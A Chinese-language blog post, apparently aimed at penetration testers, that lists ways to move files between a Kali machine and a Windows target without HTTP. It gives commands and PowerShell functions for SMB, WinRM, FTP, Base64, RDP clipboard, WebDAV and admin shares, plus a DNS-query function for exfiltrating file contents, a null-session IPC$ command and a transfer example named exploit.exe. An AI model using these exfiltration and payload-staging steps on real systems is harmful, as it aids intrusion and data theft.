无HTTP服务时的文件传输方法大全
无HTTP服务时的文件传输方法大全
之前我的博文介绍的是在一个前提下(http服务器)可以传输文件的情况,当无法启动HTTP服务时,有多种替代方法可以在系统间传输文件:
1. SMB共享传输
在Kali上启动SMB共享
# 安装samba(如果未安装)
sudo apt update && sudo apt install samba -y# 创建共享目录
mkdir /home/kali/shared
chmod 777 /home/kali/shared# 编辑samba配置
sudo nano /etc/samba/smb.conf# 在文件末尾添加:
[shared]path = /home/kali/sharedbrowseable = yesread only = noguest ok = yescreate mask = 0777# 重启samba服务
sudo systemctl restart smbd
sudo systemctl enable smbd
从Windows连接SMB共享
# 方法1:使用net use
net use Z: \\192.168.1.30\shared /user:guest ""# 方法2:直接复制
copy C:\temp\file.txt \\192.168.1.30\shared\file.txt# 方法3:使用PowerShell
Copy-Item "C:\temp\file.txt" -Destination "\\192.168.1.30\shared\file.txt"# 方法4:映射网络驱动器
New-PSDrive -Name "K" -PSProvider "FileSystem" -Root "\\192.168.1.30\shared" -Persist
2. PowerShell远程会话 (WinRM)
启用WinRM(在目标Windows机器上)
# 启用PSRemoting
Enable-PSRemoting -Force# 设置信任所有主机(测试环境)
Set-Item WSMan:\localhost\Client\TrustedHosts -Value "*" -Force# 重启WinRM服务
Restart-Service WinRM
通过PowerShell会话传输文件
# 建立远程会话
$session = New-PSSession -ComputerName 192.168.1.30 -Credential (Get-Credential)# 复制文件到远程系统
Copy-Item -Path "C:\temp\file.txt" -Destination "C:\temp\" -ToSession $session# 从远程系统复制文件
Copy-Item -Path "C:\temp\file.txt" -Destination "C:\temp\" -FromSession $session# 关闭会话
Remove-PSSession $session
3. 使用FTP传输
在Kali上启动FTP服务
# 安装vsftpd
sudo apt install vsftpd -y# 配置vsftpd
sudo nano /etc/vsftpd.conf# 修改以下配置:
anonymous_enable=YES
local_enable=YES
write_enable=YES
anon_upload_enable=YES
anon_mkdir_write_enable=YES# 重启服务
sudo systemctl restart vsftpd
PowerShell FTP客户端
function Send-FTPFile {param([string]$LocalFile,[string]$RemoteFile,[string]$FtpServer = "ftp://192.168.1.30",[string]$Username = "anonymous",[string]$Password = "")$ftp = [System.Net.FtpWebRequest]::Create("$FtpServer/$RemoteFile")$ftp.Method = [System.Net.WebRequestMethods+Ftp]::UploadFile$ftp.Credentials = New-Object System.Net.NetworkCredential($Username, $Password)$ftp.UseBinary = $true$fileContent = [System.IO.File]::ReadAllBytes($LocalFile)$ftp.ContentLength = $fileContent.Length$requestStream = $ftp.GetRequestStream()$requestStream.Write($fileContent, 0, $fileContent.Length)$requestStream.Close()$requestStream.Dispose()Write-Host "文件上传成功: $LocalFile -> $FtpServer/$RemoteFile"
}# 使用示例
Send-FTPFile -LocalFile "C:\temp\file.txt" -RemoteFile "uploaded_file.txt"
4. 使用TFTP传输
在Kali上启动TFTP服务
# 安装TFTP服务器
sudo apt install tftpd-hpa -y# 启动服务
sudo systemctl start tftpd-hpa
PowerShell TFTP客户端
# 需要第三方模块或自定义实现
# 安装TFTP模块
Install-Module -Name PoshTftp -Force# 使用TFTP上传文件
Send-TftpFile -ComputerName 192.168.1.30 -LocalFile "C:\temp\file.txt" -RemoteFile "file.txt"
5. 基于Base64的文本传输
将文件转换为Base64并通过其他通道传输
# 编码文件为Base64
$base64 = [Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\temp\file.exe"))
$base64 | Out-File "C:\temp\file_base64.txt"# 解码Base64恢复文件
$bytes = [Convert]::FromBase64String((Get-Content "C:\temp\file_base64.txt" -Raw))
[IO.File]::WriteAllBytes("C:\temp\restored_file.exe", $bytes)
6. 使用DNS隧道传输
通过DNS查询传输小文件
# 将文件转换为十六进制并通过DNS查询发送
function Send-FileViaDNS {param([string]$File, [string]$Domain = "example.com")$bytes = [IO.File]::ReadAllBytes($File)$hex = [BitConverter]::ToString($bytes) -replace '-'# 分块发送(DNS标签限制63字符)for ($i = 0; $i -lt $hex.Length; $i += 50) {$chunk = $hex.Substring($i, [Math]::Min(50, $hex.Length - $i))Resolve-DnsName "$chunk.$Domain" -Type TXT -ErrorAction SilentlyContinueStart-Sleep -Milliseconds 100}
}
7. 使用ICMP (Ping) 隧道
通过ICMP数据包传输文件
# 需要自定义ICMP实现或使用第三方工具
# 例如使用pingtunnel或icmpsh等工具
8. 使用RDP剪贴板传输
通过RDP会话的剪贴板传输小文件
# 建立RDP连接后,可以使用剪贴板复制文件
# 这种方法适合小文件传输# 将文件内容复制到剪贴板
Get-Content "C:\temp\smallfile.txt" | Set-Clipboard# 从剪贴板获取内容并保存为文件
Get-Clipboard | Out-File "C:\temp\received_file.txt"
9. 使用Windows共享(无需配置)
利用默认的Windows管理共享
# 使用ADMIN$共享(需要管理员凭据)
Copy-Item "C:\temp\file.txt" -Destination "\\192.168.1.30\ADMIN$\temp\file.txt"# 使用C$共享
Copy-Item "C:\temp\file.txt" -Destination "\\192.168.1.30\C$\temp\file.txt"# 使用IPCS共享进行空会话(旧版本Windows)
net use \\192.168.1.30\IPC$ "" /user:""
10. 使用WebDAV共享
在Kali上配置WebDAV
# 安装Apache和WebDAV模块
sudo apt install apache2 -y
sudo a2enmod dav_fs
sudo a2enmod dav# 创建WebDAV目录
sudo mkdir /var/www/webdav
sudo chown www-data:www-data /var/www/webdav# 配置WebDAV
sudo nano /etc/apache2/sites-available/webdav.conf
PowerShell WebDAV客户端
function Copy-ToWebDAV {param([string]$LocalFile,[string]$RemoteUrl = "http://192.168.1.30/webdav/",[string]$Username,[string]$Password)$webClient = New-Object System.Net.WebClient$webClient.Credentials = New-Object System.Net.NetworkCredential($Username, $Password)$fileName = Split-Path $LocalFile -Leaf$webClient.UploadFile("$RemoteUrl/$fileName", "PUT", $LocalFile)$webClient.Dispose()
}
11. 使用SSH (当Kali作为客户端时)
如果Windows有SSH服务器
# 在Windows上启用OpenSSH服务器
Add-WindowsCapability -Online -Name OpenSSH.Server~~~~0.0.1.0
Start-Service sshd
Set-Service -Name sshd -StartupType 'Automatic'# 从Kali连接并传输文件
# 在Kali上执行:
scp /path/to/file.txt user@192.168.1.9:C:\temp\
实用脚本:多方法传输工具
function Transfer-File {param([string]$SourceFile,[string]$Destination,[string]$Method = "SMB",[string]$RemoteHost,[string]$Username,[string]$Password)if (-not (Test-Path $SourceFile)) {Write-Error "源文件不存在: $SourceFile"return $false}switch ($Method.ToUpper()) {"SMB" {try {$destPath = "\\$RemoteHost\shared\" + (Split-Path $SourceFile -Leaf)Copy-Item $SourceFile -Destination $destPath -ForceWrite-Host "SMB传输成功" -ForegroundColor Greenreturn $true} catch {Write-Error "SMB传输失败: $($_.Exception.Message)"return $false}}"FTP" {try {Send-FTPFile -LocalFile $SourceFile -RemoteFile (Split-Path $SourceFile -Leaf) -FtpServer "ftp://$RemoteHost" -Username $Username -Password $Passwordreturn $true} catch {Write-Error "FTP传输失败: $($_.Exception.Message)"return $false}}"BASE64" {try {$base64 = [Convert]::ToBase64String([IO.File]::ReadAllBytes($SourceFile))# 这里需要将base64内容通过其他方式发送到目标机器Write-Host "Base64内容已生成,长度: $($base64.Length)" -ForegroundColor Yellow$base64 | Out-File "$SourceFile.base64.txt"Write-Host "Base64内容已保存到: $SourceFile.base64.txt" -ForegroundColor Greenreturn $true} catch {Write-Error "Base64编码失败: $($_.Exception.Message)"return $false}}default {Write-Error "不支持的传输方法: $Method"return $false}}
}# 使用示例
Transfer-File -SourceFile "C:\temp\exploit.exe" -Method "SMB" -RemoteHost "192.168.1.30"
选择建议
- 最快最简单:SMB共享(如果网络策略允许)
- 最兼容:FTP(几乎所有系统都支持)
- 最隐蔽:Base64编码 + 其他通道
- 企业环境:PowerShell Remoting
- 小文件:RDP剪贴板或DNS隧道
根据你的具体环境和限制条件选择最合适的方法。
